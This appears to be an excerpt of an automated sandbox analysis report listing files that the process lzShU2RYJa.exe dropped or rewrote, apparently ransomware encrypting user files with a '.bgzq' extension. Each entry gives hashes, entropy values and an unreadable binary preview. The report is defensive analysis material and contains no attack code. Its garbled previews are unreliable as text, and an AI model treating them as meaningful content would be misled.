SSDEEP:	24:xivQH06DsXEeKKumUn72ldWcJ7BpmbkLo8pKyz/cNpV8VK1lDlUyX8EVbD:0v40w2Un722Q7abinKkcp5DlU0lFD
MD5:	57294EAD3508A10761D0545F02BE1ABF
SHA1:	37B623CB73FD2155E7D57D2A0B8802575F89D6A9
SHA-256:	4A9BB0E63E5ADC9F3D8732F819E7A0E65B9388FAFA45524F7BC78B1266E26834
SHA-512:	91CD4B74CF8788D46C779B82B3ABB8E64925652E446BCD069B13C57384E419F2B2A692C2EEF7E355BAFF330ED7091DEEF98A8D228A4A181736A3745BE881525D
Malicious:	false
Preview:	DTBZG..#.Y.....?3.O.....8_.-.5.vF......h..+.((Q..1@E.~..-..l..u%..l.....N.........PP.......".$.rNs.......n.[.A.mH...f..D...o......S.....-..vO%g.m%]..'84.xO.Cr..k..cz..>.^...Ws..n.we....+...G.o!.:....5]:,.......\|.c.EB.....I.K..&..".G....G...a.....Wep..>....eg..M."......".G..).#.t.A..p}.)....(.-."<..7.z.\].Zc....6.(1.......Wf.J.T..C....%.Z.0~...-.h.k_(.F6NE......A...s.0l...pw.....FA...z.\|..:S(..v.......I59....z....C^.U.\..T..PK..j.\...0....y...d>.J.%.E...W.Y.~4..q.....P...U.5...d.=...rz....Y...C[,U?.L...`..F....5.....MG.+Q.>z.{....A..........W....W?ZE.=......qV?.....2.;.z...........!.h?..7K..;.z...[j.{l.......2...s...3...?.....\|..o/E..}^.h..6..m..q..6..R...`.W.....t...W. vHv....os..Q.e(..I...#o#.F.6.Q7.e."...;...+7.N3(=hf.gv.ehz..../...-.b.k\$..c~9...a6..b?..<.q.8...X......sb...'..u^u>g.V..-.......w.<$.D..C..5#.. ....l..F.:....{pu.........e1.....Nz......_...O.+.j.Y.~.....A0...^..;5]}..6.b.$...O3..@0L..!.Odf8@...*.....LD.K$....".

C:\Users\user\Desktop\DTBZGIOOSO\DTBZGIOOSO.docx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852298791156865
Encrypted:	false
SSDEEP:	24:xivQH06DsXEeKKumUn72ldWcJ7BpmbkLo8pKyz/cNpV8VK1lDlUyX8EVbD:0v40w2Un722Q7abinKkcp5DlU0lFD
MD5:	57294EAD3508A10761D0545F02BE1ABF
SHA1:	37B623CB73FD2155E7D57D2A0B8802575F89D6A9
SHA-256:	4A9BB0E63E5ADC9F3D8732F819E7A0E65B9388FAFA45524F7BC78B1266E26834
SHA-512:	91CD4B74CF8788D46C779B82B3ABB8E64925652E446BCD069B13C57384E419F2B2A692C2EEF7E355BAFF330ED7091DEEF98A8D228A4A181736A3745BE881525D
Malicious:	false
Preview:	DTBZG..#.Y.....?3.O.....8_.-.5.vF......h..+.((Q..1@E.~..-..l..u%..l.....N.........PP.......".$.rNs.......n.[.A.mH...f..D...o......S.....-..vO%g.m%]..'84.xO.Cr..k..cz..>.^...Ws..n.we....+...G.o!.:....5]:,.......\|.c.EB.....I.K..&..".G....G...a.....Wep..>....eg..M."......".G..).#.t.A..p}.)....(.-."<..7.z.\].Zc....6.(1.......Wf.J.T..C....%.Z.0~...-.h.k_(.F6NE......A...s.0l...pw.....FA...z.\|..:S(..v.......I59....z....C^.U.\..T..PK..j.\...0....y...d>.J.%.E...W.Y.~4..q.....P...U.5...d.=...rz....Y...C[,U?.L...`..F....5.....MG.+Q.>z.{....A..........W....W?ZE.=......qV?.....2.;.z...........!.h?..7K..;.z...[j.{l.......2...s...3...?.....\|..o/E..}^.h..6..m..q..6..R...`.W.....t...W. vHv....os..Q.e(..I...#o#.F.6.Q7.e."...;...+7.N3(=hf.gv.ehz..../...-.b.k\$..c~9...a6..b?..<.q.8...X......sb...'..u^u>g.V..-.......w.<$.D..C..5#.. ....l..F.:....{pu.........e1.....Nz......_...O.+.j.Y.~.....A0...^..;5]}..6.b.$...O3..@0L..!.Odf8@...*.....LD.K$....".

C:\Users\user\Desktop\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8743650739874855
Encrypted:	false
SSDEEP:	24:9ihKKaWCAf5NKGC7pvzFhHHdxLQWyCFAZk5F7/eXcRth3oikq5iVbD:9uaW7jUNT/GZk5F77RthYixUFD
MD5:	38E9105A32AEE84D718A0F28DF2FD24B
SHA1:	89467F4B93ECF32FCA6BAEE12FFD12EBA3A995AD
SHA-256:	3AA3FFBAA72562F17DFFDF0E86A28DF615BC6DBC9037FA51CF0F363EC5594745
SHA-512:	7FB02FF92B0A42569982D41106B7469BD45DECA0833FCC344E3FB7C2F59157A12E8B14AB47FFA775E8BF53B55EF41A9AD9796740BAF3E0CAD2F116F65943B556
Malicious:	false
Preview:	UMMBD..:\|.>..;.C.V......Y......J7......{.VXdp..]..@.$.._C..r:.F...C.x.[m.-L.<6..b..a..~.Z~..a...S...o#.r...I.....G...C.- .C..2.0..\|..Ny.x..e(.....N....s.....)x.;JA....U..v.=.C}......T.....<..&`u%'t.+........`.%.K..HFG!.^..=..t...K..........'h....b.K.S.e...2..k.....)c.w..I.I..c._.....+.....,w'...g_ewU...z.k.bh."......b%..",.!...r...p..`.I.....do...!+Q....4...t.,...QL2X..c...\.}........?..^......2...............7...P#[....3o.U.\q..-.O...(..>..#...X.F.Z.....^...](.M`....G.w@....{...{.N\|..X..y[...=..(....26&.....}..<.\|.......%r..JE...2.....[.I....H......]%L......m"...W.b.P^.)v&;lJv..\|;.M.~.A.'f...\|..96....H.5.W=..z.L$.....R.jjW6_.....{.._..F.."p...!.\|Hk..<....Z.....@.H...8..e.zq..1.C...Jw.........8I..%.n.')}?.._..@..o..K.6.q.A...k...(... .P,\..>7.........)u...7..$d/..6.@."..N.p.....t..O...$.F..6..$..>...!.....2....5......E..].e..].C.)/.D2}..D!D..`.?Y{....+.F.\.C.Akqd.qoG.o.9vT...$.s@i+75N..&.8O...M.........}o.....z.M.......X...T

C:\Users\user\Desktop\DTBZGIOOSO\UMMBDNEQBN.png.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8743650739874855
Encrypted:	false
SSDEEP:	24:9ihKKaWCAf5NKGC7pvzFhHHdxLQWyCFAZk5F7/eXcRth3oikq5iVbD:9uaW7jUNT/GZk5F77RthYixUFD
MD5:	38E9105A32AEE84D718A0F28DF2FD24B
SHA1:	89467F4B93ECF32FCA6BAEE12FFD12EBA3A995AD
SHA-256:	3AA3FFBAA72562F17DFFDF0E86A28DF615BC6DBC9037FA51CF0F363EC5594745
SHA-512:	7FB02FF92B0A42569982D41106B7469BD45DECA0833FCC344E3FB7C2F59157A12E8B14AB47FFA775E8BF53B55EF41A9AD9796740BAF3E0CAD2F116F65943B556
Malicious:	false
Preview:	UMMBD..:\|.>..;.C.V......Y......J7......{.VXdp..]..@.$.._C..r:.F...C.x.[m.-L.<6..b..a..~.Z~..a...S...o#.r...I.....G...C.- .C..2.0..\|..Ny.x..e(.....N....s.....)x.;JA....U..v.=.C}......T.....<..&`u%'t.+........`.%.K..HFG!.^..=..t...K..........'h....b.K.S.e...2..k.....)c.w..I.I..c._.....+.....,w'...g_ewU...z.k.bh."......b%..",.!...r...p..`.I.....do...!+Q....4...t.,...QL2X..c...\.}........?..^......2...............7...P#[....3o.U.\q..-.O...(..>..#...X.F.Z.....^...](.M`....G.w@....{...{.N\|..X..y[...=..(....26&.....}..<.\|.......%r..JE...2.....[.I....H......]%L......m"...W.b.P^.)v&;lJv..\|;.M.~.A.'f...\|..96....H.5.W=..z.L$.....R.jjW6_.....{.._..F.."p...!.\|Hk..<....Z.....@.H...8..e.zq..1.C...Jw.........8I..%.n.')}?.._..@..o..K.6.q.A...k...(... .P,\..>7.........)u...7..$d/..6.@."..N.p.....t..O...$.F..6..$..>...!.....2....5......E..].e..].C.)/.D2}..D!D..`.?Y{....+.F.\.C.Akqd.qoG.o.9vT...$.s@i+75N..&.8O...M.........}o.....z.M.......X...T

C:\Users\user\Desktop\ONBQCLYSPU\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851501098928215
Encrypted:	false
SSDEEP:	24:MNwDga+PDlntxYDn82C0LLNB4DQQO+mzWZYbfwBzagTWsp9U+dQAECBLfHkjXlVX:MYalnzYI2vNBdPTWDz9Z2mECBLfERFD
MD5:	360217449512122E5D109DADA4927D08
SHA1:	1CD8A0E39C6DA627B39DF32CA1BC6D9EFAD84753
SHA-256:	ADEB42B21BAD9B22EE0F762ED190CCA80C2C6B74F5FD6B23FB1C18E358F70C53
SHA-512:	08DBA1E70B54000ED1C30D70E18D6557358D57E54CE982D7DF5D196C914E85F8FF0FAD5B9D5D8582A71219B95455FFB81C124CB0B757559BEDCF502DABCC8805
Malicious:	false
Preview:	KATAX...l.[dvs...V.....Z..#W......B......l.........:..J..t .....r.jY%.B.Y9d.D...`.t.[.......&..`4.rm.@...F. O3.9zYAa.......a'..b...l.AX9....>)...,.;....Pl..Zp.`.T.^....+.s.V.k.Yj:.~.......^.'.#...B;..c....'c.._....?i....\.............Lw....e&.(.r)p.X.&D.`A>....R.X......~..e-...m.&..L"#../.I...r....B..0M.}....s..f.{..wx...0\.G......le.2.."_T..V.....B`..b.h..j.n..$...t.b....-......g;V{.......gWn.K8k.&.V....A..@.."; V.%;....4....!]....b.74.p..d.]].L.pS.@).,v.E%.\..w.../M.....I..X8"=-D+>J...-..7..Vd..9....Fyx.#..#.!..`],.g.qS:..6.=..@.m..{.z.~5.......B..%w..N...3....x[6.......[.o...^U.x6,..].!..S`..E..,J..-X......r........E..(...5.^.A..%u..Cxv=h8..[.;. ...q#~jhfH$........N;.Kq#.....EdW..~....j.B.@.L..I.]W._...R.A]..V.4...Q.a..1G.......=v]_A...'LV...+1..U\|U.:...a.0.Hym.Mgl.d#..y..%..0 ........8.; ..sf~..k..:3\|V<\|..^.aq; s..0.........h......8L..fM.W1.%.^...3G_.'E4.C....=.`$lA..Q.....?..F..!O........!.....{.U=+I8.)...}.j..<....#.-.-8..D...rw.G.

C:\Users\user\Desktop\ONBQCLYSPU\KATAXZVCPS.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851501098928215
Encrypted:	false
SSDEEP:	24:MNwDga+PDlntxYDn82C0LLNB4DQQO+mzWZYbfwBzagTWsp9U+dQAECBLfHkjXlVX:MYalnzYI2vNBdPTWDz9Z2mECBLfERFD
MD5:	360217449512122E5D109DADA4927D08
SHA1:	1CD8A0E39C6DA627B39DF32CA1BC6D9EFAD84753
SHA-256:	ADEB42B21BAD9B22EE0F762ED190CCA80C2C6B74F5FD6B23FB1C18E358F70C53
SHA-512:	08DBA1E70B54000ED1C30D70E18D6557358D57E54CE982D7DF5D196C914E85F8FF0FAD5B9D5D8582A71219B95455FFB81C124CB0B757559BEDCF502DABCC8805
Malicious:	false
Preview:	KATAX...l.[dvs...V.....Z..#W......B......l.........:..J..t .....r.jY%.B.Y9d.D...`.t.[.......&..`4.rm.@...F. O3.9zYAa.......a'..b...l.AX9....>)...,.;....Pl..Zp.`.T.^....+.s.V.k.Yj:.~.......^.'.#...B;..c....'c.._....?i....\.............Lw....e&.(.r)p.X.&D.`A>....R.X......~..e-...m.&..L"#../.I...r....B..0M.}....s..f.{..wx...0\.G......le.2.."_T..V.....B`..b.h..j.n..$...t.b....-......g;V{.......gWn.K8k.&.V....A..@.."; V.%;....4....!]....b.74.p..d.]].L.pS.@).,v.E%.\..w.../M.....I..X8"=-D+>J...-..7..Vd..9....Fyx.#..#.!..`],.g.qS:..6.=..@.m..{.z.~5.......B..%w..N...3....x[6.......[.o...^U.x6,..].!..S`..E..,J..-X......r........E..(...5.^.A..%u..Cxv=h8..[.;. ...q#~jhfH$........N;.Kq#.....EdW..~....j.B.@.L..I.]W._...R.A]..V.4...Q.a..1G.......=v]_A...'LV...+1..U\|U.:...a.0.Hym.Mgl.d#..y..%..0 ........8.; ..sf~..k..:3\|V<\|..^.aq; s..0.........h......8L..fM.W1.%.^...3G_.'E4.C....=.`$lA..Q.....?..F..!O........!.....{.U=+I8.)...}.j..<....#.-.-8..D...rw.G.

C:\Users\user\Desktop\ONBQCLYSPU\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867407002645309
Encrypted:	false
SSDEEP:	24:W+6+xrizvmiXMMZ2C3VKZtlnaVFRJVwR/5dBjj+4mBppTcQbEySbnOKKVbD:TRizfcwdPHWR/5dJmPqQjSjO7FD
MD5:	B77B556DDB449673FFCF456C2D55F2AB
SHA1:	4136EEB423366D8C947E799A995EDDE653058973
SHA-256:	77E40A27CA2CF73F8900FB2DCD4A2CDD8F910806F2D56D802BE22760973C9A27
SHA-512:	DAA01441EBDDF7CF01308B136824844D0183D969CAC1CC701178F88EE013CAC3E3B615A5090543B2C3EBE10E88FAED53FFAB9B2FD54379DC9B0542A6F7E65843
Malicious:	false
Preview:	RAYHI..i?...b$..mn..K..)g.....O.Ei....g.......x..Q...S....P.1+nYC.kQ...z..,c`z.,.B.[H9.g...7..m.........41..lD...2...w..L..@..\|..u..m..q.S.,..wQ1.e...!'_.-..G...g.y...Z.g.S".y.1w..vK..-....$.^@Gh..<H\\|^+.zFA.KV.....u.....).,...U.....n....`A.yz...'...y....{..3.....4u>...5..;.<g.....\|.g.<.i.^n.....s......2..=.`.S!.u..~d...);...GO3..,&;.=..wG...j24I^\|..?Z1.M@W.@.16e...o<....,....".........Ck.b%p."...K\|.>..F.. .O..."..p.^B..K.J.]......m.j..o.\|8..`8...i........R..G."d...%..-&...r...ra.HUf.x.!......\..D......b\|....C[_oF{.m;hB..@+.p..0.M..n.0P.k#......ps..A.Q...y..>...[.....0&..=...B2..W5"..h...`.]%..e(....l.........~6u.;..4...C..c.o....\..V..3^........s).(....O.-..E.{.VU.).d..C:2_..\|..].?......%....u6..qK\|......6..P....O.gW.y.i..}..Y.Q#.5...N...$.$..P.qd...C<...O...+..QC-...?..h.B...=.a...i..v.;d.)..v.n8.TJ..mz...l.....=*..lE....v...3.9B.....hW;. ..1...!R..0.......hQ....z..C...z+..>......\|0>6.?gtU...M.6$,...m..BW..u~).Uc..qzR.K[(.B~.p5x..;mH....H.Y....._...

C:\Users\user\Desktop\ONBQCLYSPU\RAYHIWGKDI.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867407002645309
Encrypted:	false
SSDEEP:	24:W+6+xrizvmiXMMZ2C3VKZtlnaVFRJVwR/5dBjj+4mBppTcQbEySbnOKKVbD:TRizfcwdPHWR/5dJmPqQjSjO7FD
MD5:	B77B556DDB449673FFCF456C2D55F2AB
SHA1:	4136EEB423366D8C947E799A995EDDE653058973
SHA-256:	77E40A27CA2CF73F8900FB2DCD4A2CDD8F910806F2D56D802BE22760973C9A27
SHA-512:	DAA01441EBDDF7CF01308B136824844D0183D969CAC1CC701178F88EE013CAC3E3B615A5090543B2C3EBE10E88FAED53FFAB9B2FD54379DC9B0542A6F7E65843
Malicious:	false
Preview:	RAYHI..i?...b$..mn..K..)g.....O.Ei....g.......x..Q...S....P.1+nYC.kQ...z..,c`z.,.B.[H9.g...7..m.........41..lD...2...w..L..@..\|..u..m..q.S.,..wQ1.e...!'_.-..G...g.y...Z.g.S".y.1w..vK..-....$.^@Gh..<H\\|^+.zFA.KV.....u.....).,...U.....n....`A.yz...'...y....{..3.....4u>...5..;.<g.....\|.g.<.i.^n.....s......2..=.`.S!.u..~d...);...GO3..,&;.=..wG...j24I^\|..?Z1.M@W.@.16e...o<....,....".........Ck.b%p."...K\|.>..F.. .O..."..p.^B..K.J.]......m.j..o.\|8..`8...i........R..G."d...%..-&...r...ra.HUf.x.!......\..D......b\|....C[_oF{.m;hB..@+.p..0.M..n.0P.k#......ps..A.Q...y..>...[.....0&..=...B2..W5"..h...`.]%..e(....l.........~6u.;..4...C..c.o....\..V..3^........s).(....O.-..E.{.VU.).d..C:2_..\|..].?......%....u6..qK\|......6..P....O.gW.y.i..}..Y.Q#.5...N...$.$..P.qd...C<...O...+..QC-...?..h.B...=.a...i..v.;d.)..v.n8.TJ..mz...l.....=*..lE....v...3.9B.....hW;. ..1...!R..0.......hQ....z..C...z+..>......\|0>6.?gtU...M.6$,...m..BW..u~).Uc..qzR.K[(.B~.p5x..;mH....H.Y....._...

C:\Users\user\Desktop\ONBQCLYSPU\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8459232015781994
Encrypted:	false
SSDEEP:	24:SOhdyi8NdEZ7Srhne0ywIRjyla15MRV2P1WU18p8MsKc8nmZA3W4Z2wWfVbD:1j8HEZiir3GYKc8nLfyFD
MD5:	52FC54CF3833087F2EBFF515D64BBAE5
SHA1:	9B0D5954C22336D8EEC8575D026CD67D78951E5A
SHA-256:	D861C0A138716740B22C4A9791E9CBF9BC4FE70BAB9C05EC570912FDFF71BF24
SHA-512:	ED253BD70E51946B0B5CA430EAE0A1FDF40494F8263053BA759F6568712018D8F60BEFE3C4894DB898CE8AF9600D65133DB44D43D6C02BC72891653CA61CBFB2
Malicious:	false
Preview:	ZBEDC.....C.........xa..,...&-]75.../.?an.C.PC...7. ..'.....8z-g.Ze..)..xL.q.y.1..ZX.4h.....4fT..!_).u'....}.:...e./nv.....-........_x%E. HR.8........T.s.yI...0..n...}.wcR....b..lz..._2)...{o%~EJh.>z.q.f.W.._L.@.p.;..!.y.0....(...1.c-..........(..o.i.k.n$0....>....h...H...U.....Ov.S..2...X'...>t...E(...>;..+E..5..!..4f7.&&..4.....9....^9......3=.......O.[Ki..y.2V....zn.`.)r..G...m.p. @......~...).x.]7.U 71..t..{@......n;bk.b.Z.K..b.xe.n...i.-.?..WR..D.....M.x.{.m.9..}.I.6.../.\TQXk<..j?..^m....+..=..8\...\.......W...\..W......j.4.we....{.K...@...30.....".c..'..g.ej.%.....Q..W..9,0ZEfp.6./...-.D=FU..2Z.(H. .`....8.... .Y...6-W.g...=k..o.{.y..e...T.sS...O.{....@....6=j.,Z.8...>..1....>...o.......eD.%...s(.}..L.....M.....=X.`..~.S-U..1....pS....^..v.^.l...b..........G......&.=I..'6.\|.....a..=Z.........*...5....a7...&.[.h.4w',.w.w...-g.F...{.......P.u.........k.....A...(..V..O;..p...!O.....D..,..]X...I....x2.....Z....\|2T.!9...

C:\Users\user\Desktop\ONBQCLYSPU\ZBEDCJPBEY.png.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8459232015781994
Encrypted:	false
SSDEEP:	24:SOhdyi8NdEZ7Srhne0ywIRjyla15MRV2P1WU18p8MsKc8nmZA3W4Z2wWfVbD:1j8HEZiir3GYKc8nLfyFD
MD5:	52FC54CF3833087F2EBFF515D64BBAE5
SHA1:	9B0D5954C22336D8EEC8575D026CD67D78951E5A
SHA-256:	D861C0A138716740B22C4A9791E9CBF9BC4FE70BAB9C05EC570912FDFF71BF24
SHA-512:	ED253BD70E51946B0B5CA430EAE0A1FDF40494F8263053BA759F6568712018D8F60BEFE3C4894DB898CE8AF9600D65133DB44D43D6C02BC72891653CA61CBFB2
Malicious:	false
Preview:	ZBEDC.....C.........xa..,...&-]75.../.?an.C.PC...7. ..'.....8z-g.Ze..)..xL.q.y.1..ZX.4h.....4fT..!_).u'....}.:...e./nv.....-........_x%E. HR.8........T.s.yI...0..n...}.wcR....b..lz..._2)...{o%~EJh.>z.q.f.W.._L.@.p.;..!.y.0....(...1.c-..........(..o.i.k.n$0....>....h...H...U.....Ov.S..2...X'...>t...E(...>;..+E..5..!..4f7.&&..4.....9....^9......3=.......O.[Ki..y.2V....zn.`.)r..G...m.p. @......~...).x.]7.U 71..t..{@......n;bk.b.Z.K..b.xe.n...i.-.?..WR..D.....M.x.{.m.9..}.I.6.../.\TQXk<..j?..^m....+..=..8\...\.......W...\..W......j.4.we....{.K...@...30.....".c..'..g.ej.%.....Q..W..9,0ZEfp.6./...-.D=FU..2Z.(H. .`....8.... .Y...6-W.g...=k..o.{.y..e...T.sS...O.{....@....6=j.,Z.8...>..1....>...o.......eD.%...s(.}..L.....M.....=X.`..~.S-U..1....pS....^..v.^.l...b..........G......&.=I..'6.\|.....a..=Z.........*...5....a7...&.[.h.4w',.w.w...-g.F...{.......P.u.........k.....A...(..V..O;..p...!O.....D..,..]X...I....x2.....Z....\|2T.!9...

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825966152547276
Encrypted:	false
SSDEEP:	24:LknXKeh+oAkTzCOeuNBIsOphYhP7QbzUZPqKBqAJAq98yrzj3NwTjCdEs2nCukVX:I6i+oAQzCTsOzYhP6zYqzqnH+FnCukFD
MD5:	957FF5DC44D8472A91CED582160F1990
SHA1:	D9D1024CBF2BAEBBDA1DC640F495AC3FD374B594
SHA-256:	1FFBED469E322B3C88FDB036EE9EEBCCAFC9C65972307115BB24A6829FF43374
SHA-512:	C89AE1302C9A75E3D3F5050D01BA892B9B701A8F26D7626AFE311CD45F8F6FE9B8BD5F83EA83601F91253A4DC1E09D8EB8C2F279245A19A71ADDECCB040D09C4
Malicious:	false
Preview:	XZXHA...$.7.R...e..'3...g..b....B..........xSO..W...@.m.......6..Zf...j.;76.6.Y.6l.jDK..C...~.mZ....Pz...o...pMv..{.{........Y...i.......Sb.....h...]..x=w6.O.>31S.p............h......%...1....WD.....M6\|6..wr...c...E.e.....Q`.I.)..x.........=2..Bb..}.......If.D~gh..^...l/..T.K.6.........9.%.1R.WRS. ..kC`t!.0':.q...o....m.._Ori....)Pz.2`jF.1.mE.....Tp_..J...X.......1..:.d..h.......x0.`.Y.Eo..........W.......>..wH.L...?oQ.=N.`..HC....-&.0#.PH.!....k.<.y&e.....Q.n..b.%F.b...L.wL..T6QT..i#....C.,w.ny..ICg:...Vv@e.k....<..J/.M..F.....I.........?>...C.#.b$.R;..-...~.\.)....2?..)...^..c..:.RC.X#.JJAS.$.g.~..q...IZ}W'....k....%0..Q...wM[...}..~....[zJ.ew.S..k.H.s...B....lZ..X.}.6..P....+.._..Y...].s0jV..E{...&..o..=.6.i...iS../......6.E[.q..n....?.......[.F...........f.#.+......6.......AN...w.,.:p...)..H...~.I)PD....W....i.':..$.~...5..M\.}.J..m$..,..Fg..\..6.......l..1.1..p.....V.p*._U4~..-.mC..<..{8.c.du..?Y.#.#.BH..6......1-.R.~3}....9M..k..p@+D.

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825966152547276
Encrypted:	false
SSDEEP:	24:LknXKeh+oAkTzCOeuNBIsOphYhP7QbzUZPqKBqAJAq98yrzj3NwTjCdEs2nCukVX:I6i+oAQzCTsOzYhP6zYqzqnH+FnCukFD
MD5:	957FF5DC44D8472A91CED582160F1990
SHA1:	D9D1024CBF2BAEBBDA1DC640F495AC3FD374B594
SHA-256:	1FFBED469E322B3C88FDB036EE9EEBCCAFC9C65972307115BB24A6829FF43374
SHA-512:	C89AE1302C9A75E3D3F5050D01BA892B9B701A8F26D7626AFE311CD45F8F6FE9B8BD5F83EA83601F91253A4DC1E09D8EB8C2F279245A19A71ADDECCB040D09C4
Malicious:	false
Preview:	XZXHA...$.7.R...e..'3...g..b....B..........xSO..W...@.m.......6..Zf...j.;76.6.Y.6l.jDK..C...~.mZ....Pz...o...pMv..{.{........Y...i.......Sb.....h...]..x=w6.O.>31S.p............h......%...1....WD.....M6\|6..wr...c...E.e.....Q`.I.)..x.........=2..Bb..}.......If.D~gh..^...l/..T.K.6.........9.%.1R.WRS. ..kC`t!.0':.q...o....m.._Ori....)Pz.2`jF.1.mE.....Tp_..J...X.......1..:.d..h.......x0.`.Y.Eo..........W.......>..wH.L...?oQ.=N.`..HC....-&.0#.PH.!....k.<.y&e.....Q.n..b.%F.b...L.wL..T6QT..i#....C.,w.ny..ICg:...Vv@e.k....<..J/.M..F.....I.........?>...C.#.b$.R;..-...~.\.)....2?..)...^..c..:.RC.X#.JJAS.$.g.~..q...IZ}W'....k....%0..Q...wM[...}..~....[zJ.ew.S..k.H.s...B....lZ..X.}.6..P....+.._..Y...].s0jV..E{...&..o..=.6.i...iS../......6.E[.q..n....?.......[.F...........f.#.+......6.......AN...w.,.:p...)..H...~.I)PD....W....i.':..$.~...5..M\.}.J..m$..,..Fg..\..6.......l..1.1..p.....V.p*._U4~..-.mC..<..{8.c.du..?Y.#.#.BH..6......1-.R.~3}....9M..k..p@+D.

C:\Users\user\Documents\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835909465933948
Encrypted:	false
SSDEEP:	24:nyKv823RZKGWAKYOREd9/Mo90HWSqemHTYrzP4b+PetqytVbD:nyuD3np2REd9/MoSFFmzm46y9tFD
MD5:	F8F79B16582AAEC5E9119DF04EDFCF11
SHA1:	B0DBCCC56001254F74080E2C5C72BE00C42150E9
SHA-256:	508459ED7CCED1C185CD5DAE99C7643F19F1B461285220424D21BDD25BC23CFC
SHA-512:	55A25F8A290C17881A2F8253C6663B48570AFA5088756E32D3ECFA8EC95478325BDAA08EFC7A9E4ABA953062FDC5B6BBF5528F4B8952421C5A7B9FA3E53EA240
Malicious:	false
Preview:	KATAX...R1T..;d).9/..F.`..!.t2...j..T.a.B..mk...M-.&j...u._i>..i.* ..u.:..Td.KS............K..]^ ..X;...?.:.~.}p.Q.OXz..o}..Px..{..d...#.=.:g..n..@d5\|...{{.J..F..h...~.R..{D..HFx.8.[Qcueg....>...?..,. ..z.+NG.:y...J&......Ux.......>..~.]F9.Z)...].;..\.@......;.FV.m&.X.....B.......z^.$...1.p.i.5s.kG../.:..!...%......!.Z^0.....p.8..&.M.Q7It..&x.~..`[lM.`Y.{.W.\|...F6...[..\|.aAc..&....dp.>.....XB.....Y.jm...0..M....DI.._.SA..xO..c...Au....5e(....c...g...QLs.(..,.v\...!q.P .D.G..3+>.'Cm.I.U....S4e;...cb}F...\{oe.d...rt.......6.k....r9S...i..]e..t<6.M1.....$.9.._.F....H........l.-...(...H..w.3..r.N.........y3.e..L..@..z.5Q.. .... .%.M......1.!.t...8j.5$.6..<.[.K...tz..h>..!(.puT.=#....N.,e.(e.J.E\.=.]..%.a.Y....[.g..>.CK#...g.N....~n[..?;fr..Q...$..!.o.}......4Z._........m+9....k-..'..s.-....\.....v....ri.4l]r....E._.~.......p.....S..y..h.~2.o.].L....mA`Q.A}R....V..>1....W./.g....`.s..%x.......w.d.(\|S...o8.......25z.].&..?..T..xi.X.R..#f..R=....gXWx.

C:\Users\user\Documents\DTBZGIOOSO\KATAXZVCPS.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835909465933948
Encrypted:	false
SSDEEP:	24:nyKv823RZKGWAKYOREd9/Mo90HWSqemHTYrzP4b+PetqytVbD:nyuD3np2REd9/MoSFFmzm46y9tFD
MD5:	F8F79B16582AAEC5E9119DF04EDFCF11
SHA1:	B0DBCCC56001254F74080E2C5C72BE00C42150E9
SHA-256:	508459ED7CCED1C185CD5DAE99C7643F19F1B461285220424D21BDD25BC23CFC
SHA-512:	55A25F8A290C17881A2F8253C6663B48570AFA5088756E32D3ECFA8EC95478325BDAA08EFC7A9E4ABA953062FDC5B6BBF5528F4B8952421C5A7B9FA3E53EA240
Malicious:	false
